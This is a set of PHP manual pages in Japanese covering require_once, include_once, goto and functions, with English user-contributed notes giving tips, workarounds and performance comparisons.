Perhaps it would be clearer to say that require_once() includes AND evaluates the resulting code once.  More specifically, if there is code in the script file other than function declarations, this code will only be executed once via require_once().
manuel schaffner 14-Jun-2007 02:02
The path for nested require_once() is always evaluated relative to the called / first file containing require_once(). To make it more flexible, maintain the include_path (php.ini) or use set_include_path() - then the file will be looked up in all these locations.
jazfresh at hotmail.com 07-Mar-2007 11:22
Check how many files you are including with get_required_files(). If it's a significant number (> 100), it may be worth "compiling" the main PHP file. By "compiling", I mean write a script that reads a PHP file and replaces any "include/require_once" references with either:
- the file that it's requiring
- a blank line if that file has been included before

This function can be recursive, thus building up a large PHP file with no require_once references at all. The speedup can be dramatic. On one of our pages that included 115 classes, the page was sped up by 60%.
sneskid at hotmail dot com 19-Jan-2007 12:00
<?php
function & rel($r, &$f) {return file_exists( ( $f = ( dirname($r).'/'.$f ) ) );}
function & relf($r, $f) {return rel($r,$f) ? file_get_contents($f) : null;}
function & reli($r, $f) {return rel($r,$f) ? include($f) : null;}
function & relr($r, $f) {return rel($r,$f) ? require($f) : null;}
function & relio($r, $f) {return rel($r,$f) ? include_once($f) : null;}
function & relro($r, $f) {return rel($r,$f) ? require_once($f) : null;}
?>

I found it useful to have a function that can load a file relative to the calling script and return null if the file did not exist, without raising errors.

<?php
/*
Load file contents or return blank if it's not there.
Relative to the file calling the function.
*/
echo relf(__FILE__, 'some.file');
?>

It was easy to modify and just as useful for require/include.

<?php
/*
Require the file once.
It's like suppressing error messages with @ but only when the file does not exist.
Still shows compile errors/warning, unless you use @relro().
Relative to the file calling the function.
*/
relro(__FILE__, 'stats.php');
?>

If you work with a deep php file structure and a barrage of includes/requires/file-loads this works well.
rejjn at mail dot nu 01-Sep-2006 02:28
The following only applies to case insensitive systems like Windows.

Even though the documentation sais that "the path is normalized" that doesn't seem to be true in all cases.

If you are using the magic __autoload() function (or if the framework you're using is using it) and it includes the requested class file with complete path or if you override the include path in mid execution, you may have some very strange behavior. The most subtle problem is that the *_once functions seem to differentiate between c:\.... and C:\....

So to avoid any strange problems and painfull debugging make sure ALL paths you use within the system have the same case everywhere, and that they correspond with the actual case of the filesystem. That includes include paths set in webserver config/php.ini, auto load config, runtime include path settings or anywhere else.
antoine dot pouch at mcgill dot ca 10-Mar-2006 07:13
require_once (and include_once for that matters) is slow.
Furthermore, if you plan on using unit tests and mock objects (i.e. including mock classes before the real ones are included in the class you want to test), it will not work as require() loads a file and not a class.

To bypass that, and gain speed, I use :

<?php
class_exists('myClass') || require('path/to/myClass.class.php');
?>

I tried to time 100 require_once on the same file and it took the script 0.0026 seconds to run, whereas with my method it took only 0.00054 seconds. 4 times faster ! OK, my method of testing is quite empirical and YMMV but the bonus is the ability to use mock objects in your unit tests.
miqrogroove 01-May-2005 11:10
require_once() is NOT independent of require().  Therefore, the following code will work as expected:

echo.php
<?php
echo "Hello";
?>

test.php
<?php
require('echo.php');
require_once('echo.php');
?>

test.php outputs: "Hello".

Enjoy,
-- Miqro
ulderico at maber dot com dot br 22-Mar-2005 05:38
With both of your functions guys, Pure-PHP and jtaal at eljakim dot nl, you'll not have any variables available GLOBALly if they're supposed to be globals...

That's why my import handles better those situation. OK, SOME MAY DISPUTE that using include_once and require_once may slow down an application. But what's the use to do IN PHP what the interpreter *should* do better for you. Thusly these workarounds shall, some time in the future, DIE.

Thus It's better to well design your application to keep some order using few INCLUDES and REQUIRES in it rather than insert MANY AND SEVERAL *_once around.
Pure-PHP 17-Mar-2005 02:19
require_once can slower your app, if you include to many files.

You cann use this wrapper class, it is faster than include_once

http://www.pure-php.de/node/19

require_once("includeWrapper.class.php")

includeWrapper::require_once("Class1.class.php");
includeWrapper::require_once("Class1.class.php");
includeWrapper::require_once("Class2.class.php")
jtaal at eljakim dot nl 10-Mar-2005 05:00
When you feel the need for a require_once_wildcard function, here's the solution:

<?php // /var/www/app/system/include.inc.php

function require_once_wildcard($wildcard, $__FILE__) {
  preg_match("/^(.+)\/[^\/]+$/", $__FILE__, $matches);
  $ls = `ls $matches[1]/$wildcard`;
  $ls = explode("\n", $ls);
  array_pop($ls); // remove empty line ls always prints
  foreach ($ls as $inc) {
    require_once($inc);
  }
}

?>

The $__FILE__ variable should be filled with the special PHP construct __FILE__:
<?php // /var/www/app/classes.inc.php

require_once('system/include.inc.php');
require_once_wildcard("classes/*.inc.php", __FILE__);

?>

The (*.inc.php) files inside the directory classes are automagically included using require_once_wildcard.

This solution may not be as useful when using PHP5 in combination with classes and the autoload feature.

--
Jaap Taal
thomas dot revell at uwe dot ac dot uk 21-Jan-2005 02:00
Regarding the case insensitivity problems on Windows, it looks to me as though it is a problem in PHP5 as well (at least in some cases).

The following gave me problems:

From file URLSwitcher.php
<?php
require_once 'slimError/slimError.php';
require_once 'Navigator_Cache.php';
....
?>

From file Navigator_Cache.php
<?php
require_once 'slimError/slimerror.php';
...
?>

From file slimerror.php
<?php
class SLIMError {
...
}
?>
The above setup gave me an error : "Cannot redeclare class SLIMError"

If I change the require_once in URLSwitcher.php to match the one in Navigator_Cache.php, there isn't a problem, but if I do this the other way round, the same problem occurs.
18-Mar-2004 09:49
> Mac OS X systems are also not case-sensitive.
That depends on the filesystem:
- HFS and HFS+ are NOT case sensitive.
- UFS is case sensitive.


include_once

(PHP 4, PHP 5, PHP 7, PHP 8)

include_once 命令は、スクリプトの実行時に指定 したファイルを読み込み評価します。この動作は、 include 命令と似ていますが、ファイルからのコー ドが既に読み込まれている場合は、再度読み込まれないという重要な違い があります。また、include_once は true を返します。その名が示す通り、ファイルは一度しか読み込まれません。

include_once は、スクリプトの実行時に同じファイ ルが複数回読み込まれ、評価される可能性がある場合に、関数の再定義や 変数値の再代入といった問題を回避するために一回だけ読み込ませるため に使用します。

この関数の動作についての情報は include のドキュメントを参照ください。

User Contributed Notes

There are no user contributed notes for this page.


goto

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

What's the worse thing that could happen if you use goto?
この画像は » xkcd から提供いただいたものです。

goto 演算子を使用すると、 プログラム中の他の命令にジャンプすることができます。 ジャンプ先はラベルとコロンで表し、 goto の後にそのラベルを指定します。 ラベルは大文字小文字を 区別します。 これは、完全に制約のない goto というわけではありません。 対象となるラベルは同じファイル上の同じコンテキストになければなりません。 つまり、関数やメソッドの外に飛び出したり 関数やメソッドの中に突入したりすることはできないということです。 また、いかなるループや switch 構造の中にも突入することができません。 逆にループや switch 構造から抜け出すことはできます。一般的な用法としては、 goto を複数レベルの break として使うものがあります。

例1 goto の例

<?php
goto a;
echo 'Foo';

a:
echo 'Bar';
?>

上の例の出力は以下となります。

Bar

例2 ループでの goto の例

<?php
for($i=0,$j=50; $i<100; $i++) {
  while($j--) {
    if($j==17) goto end;
  }
}
echo "i = $i";
end:
echo 'j hit 17';
?>

上の例の出力は以下となります。

j hit 17

例3 これは動作しません

<?php
goto loop;
for($i=0,$j=50; $i<100; $i++) {
  while($j--) {
    loop:
  }
}
echo "$i = $i";
?>

上の例の出力は以下となります。

Fatal error: 'goto' into loop or switch statement is disallowed in
script on line 2

User Contributed Notes

instatiendaweb at gmail dot com 22-Feb-2021 05:07
$array = array();
for ($i = 0; $i <= 10; (int)$array[] = $i, $i++);

var_dump($array );
$countarray = (count($array) - 2) ;

var_dump($countarray);

static $goto = 0;
/***************************************************************************************************/
b:

$array[$goto] = $array[$goto] * 2;

if ($goto <= $countarray){
    $goto++;
    goto b;
}else{
    goto a;}
a:
/***************************************************************************************************/
var_dump($array);
Lollo 05-Jan-2021 02:00
You should mention the label can't be a variable


関数

目次

  • ユーザー定義関数
  • 関数の引数
  • 返り値
  • 可変関数
  • 内部（ビルトイン）関数
  • 無名関数
  • アロー関数

User Contributed Notes

There are no user contributed notes for this page.


ユーザー定義関数

関数は次のような構文で定義されます。

例1 関数の使用法を説明するための擬似コード

<?php
function foo($arg_1, $arg_2, /* ..., */ $arg_n)
{
    echo "関数の例\n";
    return $retval;
}
?>

関数の中では、他の関数や クラス 定義を含む PHP のあらゆる有効なコードを使用することができます。

関数名は、PHP の他のラベルと同じ規則に従います。関数名として有効な 形式は、まず文字かアンダースコアで始まり、その後に任意の数の文字・ 数字・あるいはアンダースコアが続くものです。正規表現で表すと、 ^[a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff]*$. となります。

ヒント

ユーザーレベルでの命名の手引き も参照ください。

PHP では、関数は参照される前に定義されている必要はありません。 ただし以下の二つの例のように、条件付きで関数が 定義されるような場合を除きます。

次の二つの例のように、ある条件下でのみ関数が定義される場合には、 その関数定義は関数がコールされる前に 行われていなければなりません。

例2 条件つきの関数

<?php

$makefoo = true;

/* ここでは関数foo()はまだ定義されていないので
   コールすることはできません。
   しかし関数 bar()はコールできます。 */

bar();

if ($makefoo) {
  function foo()
  {
    echo "I don't exist until program execution reaches me.\n";
  }
}

/* ここでは $makefooがtrueと評価されているため
   安全にfoo()をコールすることができます。 */

if ($makefoo) foo();

function bar()
{
  echo "I exist immediately upon program start.\n";
}

?>

例3 関数の中の関数

<?php
function foo()
{
  function bar()
  {
    echo "I don't exist until foo() is called.\n";
  }
}

/* ここでは関数bar()はまだ定義されていないので
   コールすることはできません。 */

foo();

/* foo()の実行によって bar()が
   定義されるためここではbar()を
   コールすることができます。*/

bar();

?>

PHP では、関数やクラスはすべてグローバルスコープにあります - 関数の内部で定義したものであっても関数の外部からコールできますし、 その逆も可能です。

PHP は関数のオーバーロードをサポートしていません。 また、宣言された関数の定義を取り消したり再定義することも できません。

注意: 関数名は ASCII 文字 A から Z で構成されている場合、 大文字小文字を区別しませんが、 通常は関数宣言時と同じ名前で関数をコールする方が好ましいです。

可変引数 および デフォルト引数 の機能をサポートしています。 func_num_args(), func_get_arg(), func_get_args() に関する関数リファレンスを 参照ください。

PHP では、関数を再帰的にコールすることが可能です。

例4 再帰的な関数

<?php
function recursion($a)
{
    if ($a < 20) {
        echo "$a\n";
        recursion($a + 1);
    }
}
?>

注意: 100 から 200 を超えるようなレベルの再帰呼び出しは避けてください。そんなことをすると、 スタックが破壊され、スクリプトが異常終了してしまいます。 無限に続くような再帰処理は、プログラミングの間違いでしょう。

User Contributed Notes

There are no user contributed notes for this page.


関数の引数

引数のリストにより関数へ情報を渡すことができます。 このリストは、カンマで区切られた式のリストです。 引数の評価は、左から右の順番で行われます。

PHP は、値渡し(デフォルト)、 リファレンス渡し、 デフォルト引数値 をサポートしています。また、 可変長引数リスト もサポートしています。

例1 関数に配列を渡す

<?php
function takes_array($input)
{
    echo "$input[0] + $input[1] = ", $input[0]+$input[1];
}
?>

PHP 8.0.0 以降では、引数リストの最後にカンマを付けることができます。 このカンマは無視されます。 これは、引数リストや変数名が長かったりした場合に、 引数を縦に並べるのに便利です。

例2 関数の引数リストの最後にカンマを付ける

<?php
function takes_many_args(
    $first_arg,
    $second_arg,
    $a_very_long_argument_name,
    $arg_with_default = 5,
    $again = 'a default string', // この最後のカンマは、8.0.0 より前では許されません。
)
{
    // ...
}
?>

PHP 8.0.0 以降では、オプションの引数の後に、必須の引数を続けることは、 推奨されなくなります。 一般的には、デフォルト値を削除することで解決できます。 このルールの唯一の例外は、Type $param = null と書かれた引数です。 null をデフォルトにすることは、型が暗黙のうちに nullable であることを示しています。 この書き方はまだ許可されていますが、明示的に nullable 型を使うことを推奨します。

例3 オプションの引数の後に、必須の引数を続ける

<?php
function foo($a = [], $b) {} // PHP 8.0.0 より前
function foo($a, $b) {}      // PHP 8.0.0 以後

function bar(A $a = null, $b) {} // PHP 8.0.0 でもまだ許可されています
function bar(?A $a, $b) {}       // お勧めの書き方
?>

引数のリファレンス渡し

デフォルトで、関数の引数は値で渡されます。(このため、関数の内部で 引数の値を変更しても関数の外側では値は変化しません。)関数がその引 数を修正できるようにするには、その引数をリファレンス渡しとする必要があり ます。

関数の引数を常にリファレンス渡しとしたい場合には、関数定義において アンパサンド(&) を引数名の前に付加することができます。

例4 関数のパラメータのリファレンス渡し

<?php
function add_some_extra(&$string)
{
    $string .= 'and something extra.';
}
$str = 'This is a string, ';
add_some_extra($str);
echo $str;    // 出力は 'This is a string, and something extra.' となります
?>

リファレンス渡しが想定されているところに、値渡しを行うとエラーになります。

デフォルト引数値

関数は、スカラー引数に関して次のように C++ スタイルのデフォルト値を 定義することができます。

例5 関数におけるデフォルトパラメータの使用法

<?php
function makecoffee($type = "cappuccino")
{
    return "Making a cup of $type.\n";
}
echo makecoffee();
echo makecoffee(null);
echo makecoffee("espresso");
?>

上の例の出力は以下となります。

Making a cup of cappuccino.
Making a cup of .
Making a cup of espresso.

PHPでは、配列および特殊な型 null をデフォルト値とすることも可能です。 例えば、

例6 スカラー型以外をデフォルト値として使用する

<?php
function makecoffee($types = array("cappuccino"), $coffeeMaker = NULL)
{
    $device = is_null($coffeeMaker) ? "hands" : $coffeeMaker;
    return "Making a cup of ".join(", ", $types)." with $device.\n";
}
echo makecoffee();
echo makecoffee(array("cappuccino", "lavazza"), "teapot");
?>

デフォルト値は、定数式である必要があり、 (例えば) 変数やクラスのメンバーであってはなりません。

引数のデフォルト値を使用する際には、デフォルト値を有する引数はデ フォルト値がない引数の右側に全てある必要があることに注意して下さ い。そうでない場合、意図したような動作が行われません。次の簡単な コードを見てみましょう。

例7 関数の引数のデフォルト値の 間違った使用法

<?php
function makeyogurt($type = "acidophilus", $flavour)
{
    return "Making a bowl of $type $flavour.\n";
}

echo makeyogurt("raspberry");   // 期待通りには動作しません。
?>

上の例の出力は以下となります。

Warning: Missing argument 2 in call to makeyogurt() in
/usr/local/etc/httpd/htdocs/phptest/functest.html on line 41
Making a bowl of raspberry .

ここで、上の例を次のコードと比べてみましょう。

例8 関数の引数のデフォルト値の 正しい使用法

<?php
function makeyogurt($flavour, $type = "acidophilus")
{
    return "Making a bowl of $type $flavour.\n";
}

echo makeyogurt("raspberry");   // 期待通り動作します
?>

上の例の出力は以下となります。

Making a bowl of acidophilus raspberry.

注意: リファレンス渡しの引数にもデフォルト値を指定できます。

可変長引数リスト

PHP は ... を使った可変長引数をユーザー定義関数でサポートしています。

注意: func_num_args(), func_get_arg(), func_get_args() 関数を使えば、可変長引数を実現できますが、 このテクニックは推奨されません。 なぜなら、... トークンが実装される前に使われていたものだからです。

引数リストに ... トークンを含めることで、 その関数が可変長の引数を受け取ることを示せます。 引数は、指定した変数に配列として渡されます。次の例を参照ください。

例9 ... を使った、可変長引数へのアクセス

<?php
function sum(...$numbers) {
    $acc = 0;
    foreach ($numbers as $n) {
        $acc += $n;
    }
    return $acc;
}

echo sum(1, 2, 3, 4);
?>

上の例の出力は以下となります。

10

関数を呼び出すときに ... を使うと、 配列変数や Traversable クラスを引数リストに含めることができます。

例10 引数での ... の使用例

<?php
function add($a, $b) {
    return $a + $b;
}

echo add(...[1, 2])."\n";

$a = [1, 2];
echo add(...$a);
?>

上の例の出力は以下となります。

3
3

通常の引数を、... の前に指定することもできます。 この場合は、通常の引数リストにマッチしなかったのこりの引数が ... による配列に追加されます。

... トークンの前に、 型宣言 を付加することもできます。 型宣言がある場合、... が取り込むすべての引数はその型に従わなければいけません。

例11 型宣言つきの可変長引数

<?php
function total_intervals($unit, DateInterval ...$intervals) {
    $time = 0;
    foreach ($intervals as $interval) {
        $time += $interval->$unit;
    }
    return $time;
}

$a = new DateInterval('P1D');
$b = new DateInterval('P2D');
echo total_intervals('d', $a, $b).' days';

// これは失敗します。null は DateInterval オブジェクトではないからです。
echo total_intervals('d', null);
?>

上の例の出力は以下となります。

3 days
Catchable fatal error: Argument 2 passed to total_intervals() must be an instance of DateInterval, null given, called in - on line 14 and defined in - on line 2

可変長引数の リファレンス渡し もできます。その場合は、... の前にアンパサンド (&) を付加します。

古いバージョンの PHP

可変長引数に関して特別な構文は必要としません。しかし、関数の引数にアクセスするには func_num_args()、func_get_arg() および func_get_args() といった関数を使う必要があります。

先ほどの最初の例を、古いバージョンの PHP で実装すると、以下のようになります。

例12 可変長引数へのアクセス (古いバージョンのPHP)

<?php
function sum() {
    $acc = 0;
    foreach (func_get_args() as $n) {
        $acc += $n;
    }
    return $acc;
}

echo sum(1, 2, 3, 4);
?>

上の例の出力は以下となります。

10

名前付き引数

既にある、位置を指定した引数を拡張する形で、PHP 8.0.0 から名前付き引数が導入されました。 名前付き引数は、位置ではなく、名前ベースで引数を渡すことを可能にします。 これによって、引数の意味が自己文書化(self-documenting)され、 引数を任意の順番で渡せるようになり、任意のデフォルト値を持つ引数をスキップできるようになります。

名前付き引数は、引数の名前の後にコロンを付けたものを、値の前に付けることで指定します。 引数の名前に予約語を使うことも許されています。 引数の名前は識別子でなければならず、動的に指定することは出来ません。

例13 名前付き引数の文法

<?php
myFunction(paramName: $value);
array_foobar(array: $value);

// 以下の書き方はサポートされていません
function_name($variableStoringParamName: $value);
?>

例14 位置を指定した引数と、名前付き引数

<?php
// 位置を指定した引数の場合:
array_fill(0, 100, 50);

// 名前付き引数の場合:
array_fill(start_index: 0, count: 100, value: 50);
?>

名前付き引数は、渡す順番は関係ありません。

例15 上と同じ例を、引数の順番を変えて渡す

<?php
array_fill(value: 50, num: 100, start_index: 0);
?>

名前付き引数は、位置を指定した引数と組み合わせることが出来ます。 そうした場合、名前付き引数は、位置を指定した引数の後に置かなければいけません。 オプションの引数だけをいくつか、指定することもできます。 その場合も、名前付き引数の順番は関係ありません。

例16 位置を指定した引数と、名前付き引数を組み合わせる

<?php
htmlspecialchars($string, double_encode: false);
// 上記は、以下と同等です。
htmlspecialchars($string, ENT_COMPAT | ENT_HTML401, 'UTF-8', false);
?>

同じ引数を複数回渡すと、Error 例外が発生します。

例17 同じ引数を複数回渡すと、Error 例外が発生する

<?php
function foo($param) { ... }

foo(param: 1, param: 2);
// Error: Named parameter $param overwrites previous argument
foo(1, param: 2);
// Error: Named parameter $param overwrites previous argument
?>

User Contributed Notes

rsperduta at gmail dot com 13-Feb-2021 07:33
About example #2: That little comma down at the end and often obscured by a line comment is easily over looked. I think it's worth considering putting it at the head of the next line to make clear what it's relationship is to the surrounding lines. Consider how much clearer it's continuation as a list of parameters:

<?php
function takes_many_args(
    $first_arg // some description
    , $second_arg // another comment
    , $a_very_long_argument_name = something($complicated) // IDK
    , $arg_with_default = 5
    , $again = 'a default string', // IMHO this trailing comma encourages illegible code and not being permitted seemed  a good idea lost with 8.0.0.
) {
    // ...
}
?>

 This principle can be applied equally to complicated boolean expressions of an "if" statement (or the parts of a for statement).
shaman_master at list dot ru 22-Nov-2019 04:38
You can use the class/interface as a type even if the class/interface is not  defined yet or the class/interface implements current class/interface.
<?php
interface RouteInterface
{
    public function getGroup(): ?RouteGroupInterface;
}
interface RouteGroupInterface extends RouteInterface
{
    public function set(RouteInterface $item);
}
?>
'self' type - alias to current class/interface, it's not changed in implementations. This code looks right but throw error:
<?php
class Route
{
    protected $name;
     // method must return Route object
    public function setName(string $name): self
    {
         $this->name = $name;
         return $this;
    }
}
class RouteGroup extends Route
{
    // method STILL must return only Route object
    public function setName(string $name): self
    {
         $name .= ' group';
         return parent::setName($name);
    }
}
?>
dmitry dot balabka at gmail dot com 13-Nov-2018 09:47
There is a possibility to use parent keyword as type hint which is not mentioned in the documentation.

Following code snippet will be executed w/o errors on PHP version 7. In this example, parent keyword is referencing on ParentClass instead of ClassTrait.
<?php
namespace TestTypeHints;

class ParentClass
{
    public function someMethod()
    {
        echo 'Some method called' . \PHP_EOL;
    }
}

trait ClassTrait
{
    private $original;

    public function __construct(parent $original)
    {
        $this->original = $original;
    }

    protected function getOriginal(): parent
    {
        return $this->original;
    }
}

class Implementation extends ParentClass
{
    use ClassTrait;

    public function callSomeMethod()
    {
        $this->getOriginal()->someMethod();
    }
}

$obj = new Implementation(new ParentClass());
$obj->callSomeMethod();
?>

Outputs:
Some method called
boan dot web at outlook dot com 08-Feb-2018 11:27
Quote:

"The declaration can be made to accept NULL values if the default value of the parameter is set to NULL."

But you can do this (PHP 7.1+):

<?php
function foo(?string $bar) {
    //...
}

foo(); // Fatal error
foo(null); // Okay
foo('Hello world'); // Okay
?>
igorsantos07 at gmail dot com 27-Dec-2017 05:06
PHP 7+ does type coercion if strict typing is not enabled, but there's a small gotcha: it won't convert null values into anything.

You must explicitly set your default argument value to be null (as explained in this page) so your function can also receive nulls.

For instance, if you type an argument as "string", but pass a null variable into it, you might expect to receive an empty string, but actually, PHP will yell at you a TypeError.

<?php
function null_string_wrong(string $str) {
  var_dump($str);
}
function null_string_correct(string $str = null) {
  var_dump($str);
}
$null = null;
null_string_wrong('a');     //string(1) "a"
null_string_correct('a');   //string(1) "a"
null_string_correct();      //NULL
null_string_correct($null); //NULL
null_string_wrong($null);   //TypeError thrown
?>
info at keraweb dot nl 21-Sep-2017 09:25
You can use a class constant as a default parameter.

<?php

class A {
    const FOO = 'default';
    function bar( $val = self::FOO ) {
        echo $val;
    }
}

$a = new A();
$a->bar(); // Will echo "default"
Hayley Watson 30-Aug-2017 11:41
There are fewer restrictions on using ... to supply multiple arguments to a function call than there are on using it to declare a variadic parameter in the function declaration. In particular, it can be used more than once to unpack arguments, provided that all such uses come after any positional arguments.

<?php

$array1 = [[1],[2],[3]];
$array2 = [4];
$array3 = [[5],[6],[7]];

$result = array_merge(...$array1); // Legal, of course: $result == [1,2,3];
$result = array_merge($array2, ...$array1); // $result == [4,1,2,3]
$result = array_merge(...$array1, $array2); // Fatal error: Cannot use positional argument after argument unpacking.
$result = array_merge(...$array1, ...$array3); // Legal! $result == [1,2,3,5,6,7]
?>

The Right Thing for the error case above would be for $result==[1,2,3,4], but this isn't yet (v7.1.8) supported.
Hayley Watson 16-Aug-2017 12:50
If you use ... in a function's parameter list, you can use it only once for obvious reasons. Less obvious is that it has to be on the LAST parameter; as the manual puts it: "You may specify normal positional arguments BEFORE the ... token. (emphasis mine).

<?php
function variadic($first, ...$most, $last)
{/*etc.*/}

variadic(1, 2, 3, 4, 5);
?>
results in a fatal error, even though it looks like the Thing To Do™ would be to set $first to 1, $most to [2, 3, 4], and $last to 5.
gabriel at figdice dot org 11-Aug-2016 07:05
A function's argument that is an object, will have its properties modified by the function although you don't need to pass it by reference.

<?php
$x = new stdClass();
$x->prop = 1;

function f ( $o ) // Notice the absence of &
{
  $o->prop ++;
}

f($x);

echo $x->prop; // shows: 2
?>

This is different for arrays:

<?php
$y = [ 'prop' => 1 ];

function g( $a )
{
  $a['prop'] ++;
  echo $a['prop'];  // shows: 2
}

g($y);

echo $y['prop'];  // shows: 1
?>
catman at esteticas dot se 07-Feb-2016 01:06
I wondered if variable length argument lists and references works together, and what the syntax might be. It is not mentioned explicitly yet in the php manual as far as I can find. But other sources mention the following syntax "&...$variable" that works in php  5.6.16.

<?php
function foo(&...$args)
{
    $i = 0;
    foreach ($args as &$arg) {
        $arg = ++$i;
    }
}
foo($a, $b, $c);
echo 'a = ', $a, ', b = ', $b, ', c = ', $c;
?>
Gives
a = 1, b = 2, c = 3
php at richardneill dot org 28-Mar-2015 07:24
To experiment on performance of pass-by-reference and pass-by-value, I used this  script. Conclusions are below.

#!/usr/bin/php
<?php
function sum($array,$max){   //For Reference, use:  "&$array"
    $sum=0;
    for ($i=0; $i<2; $i++){
        #$array[$i]++;        //Uncomment this line to modify the array within the function.
        $sum += $array[$i];
    }
    return ($sum);
}

$max = 1E7                  //10 M data points.
$data = range(0,$max,1);

$start = microtime(true);
for ($x = 0 ; $x < 100; $x++){
    $sum = sum($data, $max);
}
$end =  microtime(true);
echo "Time: ".($end - $start)." s\n";

/* Run times:
#    PASS BY    MODIFIED?   Time
-    -------    ---------   ----
1    value      no          56 us
2    reference  no          58 us

3    valuue     yes         129 s
4    reference  yes         66 us

Conclusions:

1. PHP is already smart about zero-copy / copy-on-write. A function call does NOT copy the data unless it needs to; the data is
   only copied on write. That's why  #1 and #2 take similar times, whereas #3 takes 2 million times longer than #4.
   [You never need to use &$array to ask the compiler to do a zero-copy optimisation; it can work that out for itself.]

2. You do use &$array  to tell the compiler "it is OK for the function to over-write my argument in place, I don't need the original
   any more." This can make a huge difference to performance when we have large amounts of memory to copy.
   (This is the only way it is done in C, arrays are always passed as pointers)

3. The other use of & is as a way to specify where data should be *returned*. (e.g. as used by exec() ).
   (This is a C-like way of passing pointers for outputs, whereas PHP functions normally return complex types, or multiple answers
   in an array)

4. It's  unhelpful that only the function definition has &. The caller should have it, at least as syntactic sugar. Otherwise
   it leads to unreadable code: because the person reading the function call doesn't expect it to pass by reference. At the moment,
   it's necessary to write a by-reference function call with a comment, thus:
    $sum = sum($data,$max);  //warning, $data passed by reference, and may be modified.

5. Sometimes, pass by reference could be at the choice of the caller, NOT the function definitition. PHP doesn't allow it, but it
   would be meaningful for the caller to decide to pass data in as a reference. i.e. "I'm done with the variable, it's OK to stomp
   on it in memory".
*/
?>
Horst Schirmeier 08-Jan-2014 11:58
Editor's note: what is expected here by the parser is a non-evaluated expression. An operand and two constants requires evaluation, which is not done by the parser. However, this feature is included as of PHP 5.6.0. See this page for more information: http://php.net/migration56.new-features#migration56.new-features.const-scalar-exprs
--------

"The default value must be a constant expression" is misleading (or even wrong).  PHP 5.4.4 fails to parse this function definition:

function htmlspecialchars_latin1($s, $flags = ENT_COMPAT | ENT_HTML401) {}

This yields a " PHP Parse error:  syntax error, unexpected '|', expecting ')' " although ENT_COMPAT|ENT_HTML401 is certainly what a compiler-affine person would call a "constant expression".

The obvious workaround is to use a single special value ($flags = NULL) as the default, and to set it to the desired value in the function's body (if ($flags === NULL) { $flags = ENT_COMPAT | ENT_HTML401; }).
John 15-Nov-2006 03:20
This might be documented somewhere OR obvious to most, but when passing an argument by reference (as of PHP 5.04) you can assign a value to an argument variable in the function call. For example:

function my_function($arg1, &$arg2) {
  if ($arg1 == true) {
    $arg2 = true;
  }
}
my_function(true, $arg2 = false);
echo $arg2;

outputs 1 (true)

my_function(false, $arg2 = false);
echo $arg2;

outputs 0 (false)
jcaplan at bogus dot amazon dot com 09-Mar-2006 03:11
In function calls, PHP clearly distinguishes between missing arguments and present but empty arguments.  Thus:

<?php
function f( $x = 4 ) { echo $x . "\\n"; }
f(); // prints 4
f( null ); // prints blank line
f( $y ); // $y undefined, prints blank line
?>

The utility of the optional argument feature is thus somewhat diminished.  Suppose you want to call the function f many times from function g, allowing the caller of g to specify if f should be called with a specific value or with its default value:

<?php
function f( $x = 4 ) {echo $x . "\\n"; }

// option 1: cut and paste the default value from f's interface into g's
function g( $x = 4 ) { f( $x ); f( $x ); }

// option 2: branch based on input to g
function g( $x = null ) { if ( !isset( $x ) ) { f(); f() } else { f( $x ); f( $x ); } }
?>

Both options suck.

The best approach, it seems to me, is to always use a sentinel like null as the default value of an optional argument.  This way, callers like g and g's clients have many options, and furthermore, callers always know how to omit arguments so they can omit one in the middle of the parameter list.

<?php
function f( $x = null ) { if ( !isset( $x ) ) $x = 4; echo $x . "\\n"; }

function g( $x = null ) { f( $x ); f( $x ); }

f(); // prints 4
f( null ); // prints 4
f( $y ); // $y undefined, prints 4
g(); // prints 4 twice
g( null ); // prints 4 twice
g( 5 ); // prints 5 twice

?>
Sergio Santana: ssantana at tlaloc dot imta dot mx 31-Oct-2005 02:59
PASSING A "VARIABLE-LENGTH ARGUMENT LIST OF REFERENCES" TO A FUNCTION
As of PHP 5, Call-time pass-by-reference has been deprecated, this represents no problem in most cases, since instead of calling a function like this:
   myfunction($arg1, &$arg2, &$arg3);

you can call it
   myfunction($arg1, $arg2, $arg3);

provided you have defined your function as
   function myfuncion($a1, &$a2, &$a3) { // so &$a2 and &$a3 are
                                                             // declared to be refs.
    ... <function-code>
   }

However, what happens if you wanted to pass an undefined number of references, i.e., something like:
   myfunction(&$arg1, &$arg2, ..., &$arg-n);?
This doesn't work in PHP 5 anymore.

In the following code I tried to amend this by using the
array() language-construct as the actual argument in the
call to the function.

<?php

  function aa ($A) {
    // This function increments each
    // "pseudo-argument" by 2s
    foreach ($A as &$x) {
      $x += 2;
    }
  }

  $x = 1; $y = 2; $z = 3;

  aa(array(&$x, &$y, &$z));
  echo "--$x--$y--$z--\n";
  // This will output:
  // --3--4--5--
?>

I hope this is useful.

Sergio.


返り値

オプションの return 文により値を返すことができます。 配列やオブジェクトを含むあらゆる型を返すことができます。 これにより、関数の実行を任意の箇所で終了し、その関数を呼び出した 箇所に制御を戻すことが出来ます。詳細に関しては return を参照してください。

注意:

return を省略した場合は null を返します。

return の使いかた

例1 return の使用法

<?php
function square($num)
{
    return $num * $num;
}
echo square(4);   //  '16'を出力
?>

関数は複数の値を返すことは出来ませんが、 配列を返すことで似たような結果を得ることができます。

例2 複数の値を得るために配列を返す例

<?php
function small_numbers()
{
    return array (0, 1, 2);
}

list ($zero, $one, $two) = small_numbers();
?>

関数からリファレンスを返すためには、 関数宣言と返り値を代入する変数に対して、 リファレンス演算子 & を使います:

例3 関数からリファレンスを返す

<?php
function &returns_reference()
{
    return $someref;
}

$newref =& returns_reference();
?>

リファレンスに関する詳細は、リファレンスの説明 を参照して下さい。

User Contributed Notes

php(@)genjo(DOT)fr 21-Oct-2019 08:40
Declaring a collection of objects as return type is not implemented and forbidden:
<?php
class Child{}

function getChilds(): Child[]
{
    return [(new Child()), (new Child())];
}

var_dump(getChilds());
// Returns:  Parse error: syntax error, unexpected '[', expecting '{'
?>

We have to use:
<?php
class Child{}

function getChilds(): array
{
    return [(new Child()), (new Child())];
}

var_dump(getChilds());
// Returns:
/*
array (size=2)
  0 =>
    object(Child)[168]
  1 =>
    object(Child)[398]
*/
?>

Idem for function parameter:
<?php
function setChilds(Child[] $childs){}
// Not allowed

function setChilds(array $childs){}
// Allowed
?>
Berniev 07-May-2018 02:20
Be careful when introducing return types to your code.

Only one return type can be specified (but prefacing with ? allows null).

Return values of a type different to that specified are silently converted with sometimes perplexing results. These can be tedious to find and will need rewriting, along with calling code.

